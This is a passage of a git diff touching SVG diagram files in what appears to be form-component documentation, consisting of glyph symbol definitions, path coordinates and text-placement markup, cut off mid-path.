458.691h176.699v21.25h-176.7zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="519.305" y="474.941"/><use xlink:href="#x" x="527.137" y="474.941"/><use xlink:href="#r" x="534.91" y="474.941"/><use xlink:href="#l" x="540.984" y="474.941"/><use xlink:href="#p" x="545.926" y="474.941"/><use xlink:href="#I" x="553.133" y="474.941"/><use xlink:href="#U" x="557.332" y="474.941"/><use xlink:href="#p" x="563.348" y="474.941"/><use xlink:href="#q" x="570.555" y="474.941"/><use xlink:href="#q" x="578.348" y="474.941"/><use xlink:href="#m" x="586.141" y="474.941"/><use xlink:href="#n" x="591.082" y="474.941"/><use xlink:href="#r" x="598.523" y="474.941"/><use xlink:href="#r" x="604.598" y="474.941"/><use xlink:href="#U" x="610.672" y="474.941"/><use xlink:href="#r" x="616.688" y="474.941"/><use xlink:href="#l" x="622.762" y="474.941"/><use xlink:href="#p" x="627.703" y="474.941"/><use xlink:href="#l" x="634.91" y="474.941"/><use xlink:href="#n" x="639.734" y="474.941"/><use xlink:href="#U" x="647.176" y="474.941"/><use xlink:href="#V" x="653.191" y="474.941"/><use xlink:href="#H" x="663.816" y="474.941"/><use xlink:href="#q" x="667.723" y="474.941"/><use xlink:href="#J" x="675.516" y="474.941"/><use xlink:href="#n" x="683.289" y="474.941"/><use xlink:href="#l" x="690.73" y="474.941"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M44.988 24.355H165.84v21.25H44.988zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="44.988" y="40.605"/><use xlink:href="#x" x="52.82" y="40.605"/><use xlink:href="#r" x="60.594" y="40.605"/><use xlink:href="#l" x="66.668" y="40.605"/><use xlink:href="#p" x="71.609" y="40.605"/><use xlink:href="#I" x="78.816" y="40.605"/><use xlink:href="#U" x="83.016" y="40.605"/><use xlink:href="#p" x="89.031" y="40.605"/><use xlink:href="#q" x="96.238" y="40.605"/><use xlink:href="#q" x="104.031" y="40.605"/><use xlink:href="#m" x="111.824" y="40.605"/><use xlink:href="#n" x="116.766" y="40.605"/><use xlink:href="#r" x="124.207" y="40.605"/><use xlink:href="#r" x="130.281" y="40.605"/><use xlink:href="#U" x="136.355" y="40.605"/><use xlink:href="#m" x="142.371" y="40.605"/><use xlink:href="#x" x="147.313" y="40.605"/><use xlink:href="#V" x="154.949" y="40.605"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M311.148 41.605H524.5v21.25H311.148zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="311.148" y="57.855"/><use xlink:href="#x" x="318.98" y="57.855"/><use xlink:href="#r" x="326.754" y="57.855"/><use xlink:href="#l" x="332.828" y="57.855"/><use xlink:href="#p" x="337.77" y="57.855"/><use xlink:href="#I" x="344.977" y="57.855"/><use xlink:href="#U" x="349.176" y="57.855"/><use xlink:href="#p" x="355.191" y="57.855"/><use xlink:href="#q" x="362.398" y="57.855"/><use xlink:href="#q" x="370.191" y="57.855"/><use xlink:href="#m" x="377.984" y="57.855"/><use xlink:href="#n" x="382.926" y="57.855"/><use xlink:href="#r" x="390.367" y="57.855"/><use xlink:href="#r" x="396.441" y="57.855"/><use xlink:href="#U" x="402.516" y="57.855"/><use xlink:href="#p" x="408.531" y="57.855"/><use xlink:href="#q" x="415.738" y="57.855"/><use xlink:href="#q" x="423.531" y="57.855"/><use xlink:href="#m" x="431.324" y="57.855"/><use xlink:href="#n" x="436.266" y="57.855"/><use xlink:href="#r" x="443.707" y="57.855"/><use xlink:href="#r" x="449.781" y="57.855"/><use xlink:href="#W" x="455.855" y="57.855"/><use xlink:href="#H" x="463.316" y="57.855"/><use xlink:href="#C" x="467.223" y="57.855"/><use xlink:href="#n" x="475.133" y="57.855"/><use xlink:href="#X" x="482.574" y="57.855"/><use xlink:href="#U" x="490.68" y="57.855"/><use xlink:href="#Y" x="496.695" y="57.855"/><use xlink:href="#n" x="504.625" y="57.855"/><use xlink:href="#I" x="512.066" y="57.855"/><use xlink:href="#B" x="516.266" y="57.855"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M54.402 467.422h183.602v21.25H54.402zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="54.402" y="483.672"/><use xlink:href="#x" x="62.234" y="483.672"/><use xlink:href="#r" x="70.008" y="483.672"/><use xlink:href="#l" x="76.082" y="483.672"/><use xlink:href="#p" x="81.023" y="483.672"/><use xlink:href="#I" x="88.23" y="483.672"/><use xlink:href="#U" x="92.43" y="483.672"/><use xlink:href="#p" x="98.445" y="483.672"/><use xlink:href="#q" x="105.652" y="483.672"/><use xlink:href="#q" x="113.445" y="483.672"/><use xlink:href="#m" x="121.238" y="483.672"/><use xlink:href="#n" x="126.18" y="483.672"/><use xlink:href="#r" x="133.621" y="483.672"/><use xlink:href="#r" x="139.695" y="483.672"/><use xlink:href="#U" x="145.77" y="483.672"/><use xlink:href="#Z" x="151.785" y="483.672"/><use xlink:href="#H" x="158.27" y="483.672"/><use xlink:href="#B" x="162.176" y="483.672"/><use xlink:href="#aa" x="170.008" y="483.672"/><use xlink:href="#x" x="177.781" y="483.672"/><use xlink:href="#q" x="185.555" y="483.672"/><use xlink:href="#n" x="193.348" y="483.672"/><use xlink:href="#U" x="200.789" y="483.672"/><use xlink:href="#I" x="206.805" y="483.672"/><use xlink:href="#p" x="211.004" y="483.672"/><use xlink:href="#w" x="218.211" y="483.672"/><use xlink:href="#n" x="226.023" y="483.672"/><use xlink:href="#I" x="233.465" y="483.672"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m53.803 63.6.026-7.133" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M53.83 56.467c.124 0 .249.126.248.251 0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.252c0-.125.126-.25.251-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m29.356 63.968.027-4.877" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M29.383 59.091c.125 0 .25.127.248.252 0 .125-.126.249-.251.248a.269.269 0 0 1-.249-.251c.001-.125.127-.25.252-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/></svg>
diff --git a/_images/form/form-custom-type-postal-address.svg b/_images/form/form-custom-type-postal-address.svg
index ab0fde8af3a..42ffce4067f 100644
--- a/_images/form/form-custom-type-postal-address.svg
+++ b/_images/form/form-custom-type-postal-address.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 478"><defs><symbol overflow="visible" id="a"><path d="M 1.28125 -13.859375 C 1.707031 -13.984375 2.160156 -14.0625 2.640625 -14.09375 C 3.117188 -14.132812 3.59375 -14.15625 4.0625 -14.15625 C 4.59375 -14.15625 5.117188 -14.09375 5.640625 -13.96875 C 6.160156 -13.851562 6.628906 -13.632812 7.046875 -13.3125 C 7.472656 -13 7.8125 -12.5625 8.0625 -12 C 8.320312 -11.4375 8.453125 -10.722656 8.453125 -9.859375 C 8.453125 -9.015625 8.328125 -8.300781 8.078125 -7.71875 C 7.835938 -7.132812 7.515625 -6.65625 7.109375 -6.28125 C 6.703125 -5.914062 6.234375 -5.648438 5.703125 -5.484375 C 5.179688 -5.316406 4.640625 -5.234375 4.078125 -5.234375 C 4.023438 -5.234375 3.9375 -5.234375 3.8125 -5.234375 C 3.695312 -5.234375 3.570312 -5.238281 3.4375 -5.25 C 3.300781 -5.257812 3.171875 -5.269531 3.046875 -5.28125 C 2.921875 -5.289062 2.832031 -5.300781 2.78125 -5.3125 L 2.78125 0 L 1.28125 0 Z M 4.140625 -12.78125 C 3.867188 -12.78125 3.609375 -12.769531 3.359375 -12.75 C 3.117188 -12.726562 2.925781 -12.695312 2.78125 -12.65625 L 2.78125 -6.703125 C 2.832031 -6.671875 2.914062 -6.648438 3.03125 -6.640625 C 3.144531 -6.640625 3.257812 -6.632812 3.375 -6.625 C 3.5 -6.625 3.617188 -6.625 3.734375 -6.625 C 3.847656 -6.625 3.929688 -6.625 3.984375 -6.625 C 4.359375 -6.625 4.71875 -6.671875 5.0625 -6.765625 C 5.40625 -6.859375 5.707031 -7.023438 5.96875 -7.265625 C 6.238281 -7.515625 6.457031 -7.847656 6.625 -8.265625 C 6.789062 -8.691406 6.875 -9.222656 6.875 -9.859375 C 6.875 -10.421875 6.796875 -10.882812 6.640625 -11.25 C 6.492188 -11.625 6.296875 -11.925781 6.046875 -12.15625 C 5.804688 -12.382812 5.519531 -12.546875 5.1875 -12.640625 C 4.851562 -12.734375 4.503906 -12.78125 4.140625 -12.78125 Z M 4.140625 -12.78125"/></symbol><symbol overflow="visible" id="b"><path d="M 0.734375 -5 C 0.734375 -6.800781 1.039062 -8.125 1.65625 -8.96875 C 2.28125 -9.8125 3.164062 -10.234375 4.3125 -10.234375 C 5.539062 -10.234375 6.445312 -9.800781 7.03125 -8.9375 C 7.613281 -8.070312 7.90625 -6.757812 7.90625 -5 C 7.90625 -3.1875 7.585938 -1.859375 6.953125 -1.015625 C 6.328125 -0.179688 5.445312 0.234375 4.3125 0.234375 C 3.09375 0.234375 2.191406 -0.195312 1.609375 -1.0625 C 1.023438 -1.925781 0.734375 -3.238281 0.734375 -5 Z M 2.234375 -5 C 2.234375 -4.414062 2.269531 -3.882812 2.34375 -3.40625 C 2.414062 -2.925781 2.535156 -2.507812 2.703125 -2.15625 C 2.867188 -1.8125 3.085938 -1.539062 3.359375 -1.34375 C 3.628906 -1.15625 3.945312 -1.0625 4.3125 -1.0625 C 5.007812 -1.0625 5.53125 -1.367188 5.875 -1.984375 C 6.226562 -2.609375 6.40625 -3.613281 6.40625 -5 C 6.40625 -5.570312 6.367188 -6.097656 6.296875 -6.578125 C 6.222656 -7.066406 6.101562 -7.484375 5.9375 -7.828125 C 5.769531 -8.179688 5.550781 -8.453125 5.28125 -8.640625 C 5.007812 -8.835938 4.6875 -8.9375 4.3125 -8.9375 C 3.632812 -8.9375 3.117188 -8.625 2.765625 -8 C 2.410156 -7.375 2.234375 -6.375 2.234375 -5 Z M 2.234375 -5"/></symbol><symbol overflow="visible" id="c"><path d="M 1.015625 -1.640625 C 1.285156 -1.484375 1.601562 -1.347656 1.96875 -1.234375 C 2.332031 -1.117188 2.707031 -1.0625 3.09375 -1.0625 C 3.539062 -1.0625 3.914062 -1.171875 4.21875 -1.390625 C 4.53125 -1.609375 4.6875 -1.960938 4.6875 -2.453125 C 4.6875 -2.867188 4.59375 -3.207031 4.40625 -3.46875 C 4.21875 -3.738281 3.976562 -3.976562 3.6875 -4.1875 C 3.40625 -4.40625 3.097656 -4.601562 2.765625 -4.78125 C 2.429688 -4.96875 2.117188 -5.1875 1.828125 -5.4375 C 1.546875 -5.6875 1.3125 -5.984375 1.125 -6.328125 C 0.9375 -6.679688 0.84375 -7.125 0.84375 -7.65625 C 0.84375 -8.507812 1.070312 -9.148438 1.53125 -9.578125 C 1.988281 -10.015625 2.640625 -10.234375 3.484375 -10.234375 C 4.023438 -10.234375 4.492188 -10.179688 4.890625 -10.078125 C 5.296875 -9.984375 5.644531 -9.851562 5.9375 -9.6875 L 5.5625 -8.484375 C 5.3125 -8.617188 5.019531 -8.726562 4.6875 -8.8125 C 4.351562 -8.894531 4.007812 -8.9375 3.65625 -8.9375 C 3.175781 -8.9375 2.828125 -8.835938 2.609375 -8.640625 C 2.390625 -8.441406 2.28125 -8.128906 2.28125 -7.703125 C 2.28125 -7.367188 2.375 -7.082031 2.5625 -6.84375 C 2.75 -6.613281 2.984375 -6.398438 3.265625 -6.203125 C 3.554688 -6.015625 3.867188 -5.816406 4.203125 -5.609375 C 4.535156 -5.410156 4.84375 -5.175781 5.125 -4.90625 C 5.414062 -4.632812 5.65625 -4.304688 5.84375 -3.921875 C 6.03125 -3.546875 6.125 -3.070312 6.125 -2.5 C 6.125 -2.125 6.0625 -1.769531 5.9375 -1.4375 C 5.820312 -1.101562 5.640625 -0.8125 5.390625 -0.5625 C 5.140625 -0.320312 4.832031 -0.128906 4.46875 0.015625 C 4.101562 0.160156 3.675781 0.234375 3.1875 0.234375 C 2.59375 0.234375 2.082031 0.175781 1.65625 0.0625 C 1.226562 -0.0390625 0.867188 -0.1875 0.578125 -0.375 Z M 1.015625 -1.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 0.1875 -10 L 1.40625 -10 L 1.40625 -11.984375 L 2.84375 -12.4375 L 2.84375 -10 L 5 -10 L 5 -8.703125 L 2.84375 -8.703125 L 2.84375 -2.734375 C 2.84375 -2.148438 2.910156 -1.726562 3.046875 -1.46875 C 3.191406 -1.207031 3.421875 -1.078125 3.734375 -1.078125 C 4.003906 -1.078125 4.234375 -1.109375 4.421875 -1.171875 C 4.617188 -1.234375 4.832031 -1.3125 5.0625 -1.40625 L 5.34375 -0.265625 C 5.050781 -0.117188 4.726562 -0.00390625 4.375 0.078125 C 4.019531 0.171875 3.648438 0.21875 3.265625 0.21875 C 2.597656 0.21875 2.117188 0.00390625 1.828125 -0.421875 C 1.546875 -0.859375 1.40625 -1.566406 1.40625 -2.546875 L 1.40625 -8.703125 L 0.1875 -8.703125 Z M 0.1875 -10"/></symbol><symbol overflow="visible" id="e"><path d="M 1.078125 -9.40625 C 1.460938 -9.644531 1.929688 -9.828125 2.484375 -9.953125 C 3.035156 -10.085938 3.617188 -10.15625 4.234375 -10.15625 C 4.796875 -10.15625 5.242188 -10.070312 5.578125 -9.90625 C 5.921875 -9.738281 6.191406 -9.507812 6.390625 -9.21875 C 6.585938 -8.9375 6.710938 -8.613281 6.765625 -8.25 C 6.828125 -7.882812 6.859375 -7.5 6.859375 -7.09375 C 6.859375 -6.300781 6.84375 -5.523438 6.8125 -4.765625 C 6.78125 -4.003906 6.765625 -3.28125 6.765625 -2.59375 C 6.765625 -2.09375 6.78125 -1.625 6.8125 -1.1875 C 6.84375 -0.757812 6.90625 -0.347656 7 0.046875 L 5.90625 0.046875 L 5.5625 -1.140625 L 5.484375 -1.140625 C 5.285156 -0.796875 4.988281 -0.492188 4.59375 -0.234375 C 4.207031 0.015625 3.691406 0.140625 3.046875 0.140625 C 2.316406 0.140625 1.722656 -0.109375 1.265625 -0.609375 C 0.804688 -1.109375 0.578125 -1.800781 0.578125 -2.6875 C 0.578125 -3.257812 0.671875 -3.738281 0.859375 -4.125 C 1.054688 -4.507812 1.332031 -4.820312 1.6875 -5.0625 C 2.039062 -5.300781 2.460938 -5.46875 2.953125 -5.5625 C 3.441406 -5.664062 3.984375 -5.71875 4.578125 -5.71875 C 4.710938 -5.71875 4.847656 -5.71875 4.984375 -5.71875 C 5.117188 -5.71875 5.257812 -5.710938 5.40625 -5.703125 C 5.4375 -6.109375 5.453125 -6.472656 5.453125 -6.796875 C 5.453125 -7.554688 5.335938 -8.085938 5.109375 -8.390625 C 4.890625 -8.703125 4.476562 -8.859375 3.875 -8.859375 C 3.5 -8.859375 3.09375 -8.800781 2.65625 -8.6875 C 2.21875 -8.570312 1.851562 -8.429688 1.5625 -8.265625 Z M 5.421875 -4.5625 C 5.285156 -4.570312 5.148438 -4.578125 5.015625 -4.578125 C 4.878906 -4.585938 4.75 -4.59375 4.625 -4.59375 C 4.300781 -4.59375 3.984375 -4.566406 3.671875 -4.515625 C 3.367188 -4.460938 3.097656 -4.367188 2.859375 -4.234375 C 2.617188 -4.109375 2.425781 -3.929688 2.28125 -3.703125 C 2.144531 -3.472656 2.078125 -3.1875 2.078125 -2.84375 C 2.078125 -2.3125 2.207031 -1.894531 2.46875 -1.59375 C 2.726562 -1.300781 3.066406 -1.15625 3.484375 -1.15625 C 4.035156 -1.15625 4.460938 -1.285156 4.765625 -1.546875 C 5.078125 -1.816406 5.296875 -2.113281 5.421875 -2.4375 Z M 5.421875 -4.5625"/></symbol><symbol overflow="visible" id="f"><path d="M 2.71875 -2.375 C 2.71875 -1.914062 2.78125 -1.582031 2.90625 -1.375 C 3.03125 -1.175781 3.207031 -1.078125 3.4375 -1.078125 C 3.71875 -1.078125 4.046875 -1.148438 4.421875 -1.296875 L 4.5625 -0.140625 C 4.382812 -0.0351562 4.140625 0.046875 3.828125 0.109375 C 3.515625 0.179688 3.234375 0.21875 2.984375 0.21875 C 2.472656 0.21875 2.0625 0.0625 1.75 -0.25 C 1.4375 -0.5625 1.28125 -1.113281 1.28125 -1.90625 L 1.28125 -14 L 2.71875 -14 Z M 2.71875 -2.375"/></symbol><symbol overflow="visible" id="g"><path d="M 6.65625 -3.921875 L 2.703125 -3.921875 L 1.578125 0 L 0.09375 0 L 4.3125 -14.21875 L 5.140625 -14.21875 L 9.359375 0 L 7.796875 0 Z M 3.09375 -5.265625 L 6.296875 -5.265625 L 5.078125 -9.578125 L 4.703125 -11.6875 L 4.65625 -11.6875 L 4.28125 -9.546875 Z M 3.09375 -5.265625"/></symbol><symbol overflow="visible" id="h"><path d="M 7.484375 -3.4375 C 7.484375 -2.757812 7.488281 -2.144531 7.5 -1.59375 C 7.507812 -1.039062 7.554688 -0.492188 7.640625 0.046875 L 6.65625 0.046875 L 6.34375 -1.15625 L 6.265625 -1.15625 C 6.078125 -0.757812 5.78125 -0.425781 5.375 -0.15625 C 4.976562 0.101562 4.5 0.234375 3.9375 0.234375 C 2.851562 0.234375 2.046875 -0.179688 1.515625 -1.015625 C 0.992188 -1.859375 0.734375 -3.179688 0.734375 -4.984375 C 0.734375 -6.691406 1.054688 -7.984375 1.703125 -8.859375 C 2.359375 -9.742188 3.25 -10.1875 4.375 -10.1875 C 4.757812 -10.1875 5.066406 -10.160156 5.296875 -10.109375 C 5.523438 -10.066406 5.773438 -9.988281 6.046875 -9.875 L 6.046875 -14 L 7.484375 -14 Z M 6.046875 -8.421875 C 5.859375 -8.578125 5.644531 -8.691406 5.40625 -8.765625 C 5.175781 -8.835938 4.867188 -8.875 4.484375 -8.875 C 3.773438 -8.875 3.222656 -8.550781 2.828125 -7.90625 C 2.429688 -7.269531 2.234375 -6.285156 2.234375 -4.953125 C 2.234375 -4.367188 2.269531 -3.835938 2.34375 -3.359375 C 2.414062 -2.890625 2.53125 -2.484375 2.6875 -2.140625 C 2.84375 -1.796875 3.039062 -1.53125 3.28125 -1.34375 C 3.53125 -1.15625 3.835938 -1.0625 4.203125 -1.0625 C 5.160156 -1.0625 5.773438 -1.628906 6.046875 -2.765625 Z M 6.046875 -8.421875"/></symbol><symbol overflow="visible" id="i"><path d="M 1.1875 -10 L 2.203125 -10 L 2.453125 -8.9375 L 2.515625 -8.9375 C 2.703125 -9.320312 2.945312 -9.625 3.25 -9.84375 C 3.550781 -10.070312 3.914062 -10.1875 4.34375 -10.1875 C 4.644531 -10.1875 4.988281 -10.125 5.375 -10 L 5.09375 -8.546875 C 4.75 -8.660156 4.445312 -8.71875 4.1875 -8.71875 C 3.757812 -8.71875 3.410156 -8.59375 3.140625 -8.34375 C 2.867188 -8.101562 2.695312 -7.773438 2.625 -7.359375 L 2.625 0 L 1.1875 0 Z M 1.1875 -10"/></symbol><symbol overflow="visible" id="j"><path d="M 7.15625 -0.6875 C 6.84375 -0.382812 6.4375 -0.15625 5.9375 0 C 5.445312 0.15625 4.925781 0.234375 4.375 0.234375 C 3.75 0.234375 3.207031 0.113281 2.75 -0.125 C 2.289062 -0.375 1.910156 -0.726562 1.609375 -1.1875 C 1.304688 -1.644531 1.082031 -2.191406 0.9375 -2.828125 C 0.800781 -3.472656 0.734375 -4.195312 0.734375 -5 C 0.734375 -6.707031 1.046875 -8.003906 1.671875 -8.890625 C 2.304688 -9.785156 3.195312 -10.234375 4.34375 -10.234375 C 4.71875 -10.234375 5.085938 -10.1875 5.453125 -10.09375 C 5.816406 -10 6.144531 -9.8125 6.4375 -9.53125 C 6.726562 -9.257812 6.960938 -8.867188 7.140625 -8.359375 C 7.328125 -7.847656 7.421875 -7.1875 7.421875 -6.375 C 7.421875 -6.15625 7.410156 -5.914062 7.390625 -5.65625 C 7.367188 -5.394531 7.34375 -5.125 7.3125 -4.84375 L 2.234375 -4.84375 C 2.234375 -4.269531 2.28125 -3.75 2.375 -3.28125 C 2.46875 -2.8125 2.613281 -2.410156 2.8125 -2.078125 C 3.019531 -1.753906 3.28125 -1.503906 3.59375 -1.328125 C 3.90625 -1.148438 4.296875 -1.0625 4.765625 -1.0625 C 5.117188 -1.0625 5.472656 -1.125 5.828125 -1.25 C 6.179688 -1.382812 6.453125 -1.546875 6.640625 -1.734375 Z M 6.046875 -6.046875 C 6.066406 -7.046875 5.921875 -7.773438 5.609375 -8.234375 C 5.304688 -8.703125 4.890625 -8.9375 4.359375 -8.9375 C 3.742188 -8.9375 3.253906 -8.703125 2.890625 -8.234375 C 2.535156 -7.773438 2.328125 -7.046875 2.265625 -6.046875 Z M 6.046875 -6.046875"/></symbol><symbol overflow="visible" id="k"><path d="M 8.65625 -12.625 L 5.21875 -12.625 L 5.21875 0 L 3.71875 0 L 3.71875 -12.625 L 0.28125 -12.625 L 0.28125 -14 L 8.65625 -14 Z M 8.65625 -12.625"/></symbol><symbol overflow="visible" id="l"><path d="M 3.65625 -3.546875 L 4.078125 -1.59375 L 4.1875 -1.59375 L 4.484375 -3.546875 L 6 -10 L 7.453125 -10 L 5.078125 -1.015625 C 4.890625 -0.296875 4.703125 0.375 4.515625 1 C 4.328125 1.625 4.125 2.164062 3.90625 2.625 C 3.6875 3.082031 3.441406 3.441406 3.171875 3.703125 C 2.898438 3.960938 2.578125 4.09375 2.203125 4.09375 C 1.828125 4.09375 1.5 4.035156 1.21875 3.921875 L 1.453125 2.5625 C 1.640625 2.625 1.828125 2.632812 2.015625 2.59375 C 2.203125 2.5625 2.378906 2.453125 2.546875 2.265625 C 2.710938 2.078125 2.863281 1.796875 3 1.421875 C 3.144531 1.054688 3.269531 0.582031 3.375 0 L 0.140625 -10 L 1.78125 -10 Z M 3.65625 -3.546875"/></symbol><symbol overflow="visible" id="m"><path d="M 1.1875 -10 L 2.203125 -10 L 2.421875 -8.921875 L 2.5 -8.921875 C 2.988281 -9.796875 3.757812 -10.234375 4.8125 -10.234375 C 5.875 -10.234375 6.664062 -9.835938 7.1875 -9.046875 C 7.71875 -8.265625 7.984375 -6.984375 7.984375 -5.203125 C 7.984375 -4.359375 7.894531 -3.597656 7.71875 -2.921875 C 7.539062 -2.253906 7.289062 -1.679688 6.96875 -1.203125 C 6.65625 -0.734375 6.269531 -0.375 5.8125 -0.125 C 5.351562 0.113281 4.84375 0.234375 4.28125 0.234375 C 3.894531 0.234375 3.585938 0.207031 3.359375 0.15625 C 3.128906 0.113281 2.882812 0.0195312 2.625 -0.125 L 2.625 4 L 1.1875 4 Z M 2.625 -1.578125 C 2.8125 -1.421875 3.019531 -1.296875 3.25 -1.203125 C 3.476562 -1.109375 3.789062 -1.0625 4.1875 -1.0625 C 4.882812 -1.0625 5.441406 -1.421875 5.859375 -2.140625 C 6.273438 -2.859375 6.484375 -3.882812 6.484375 -5.21875 C 6.484375 -5.78125 6.445312 -6.285156 6.375 -6.734375 C 6.300781 -7.191406 6.179688 -7.582031 6.015625 -7.90625 C 5.859375 -8.238281 5.65625 -8.492188 5.40625 -8.671875 C 5.164062 -8.847656 4.863281 -8.9375 4.5 -8.9375 C 3.53125 -8.9375 2.90625 -8.34375 2.625 -7.15625 Z M 2.625 -1.578125"/></symbol><symbol overflow="visible" id="n"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="o"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="p"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="q"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="r"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 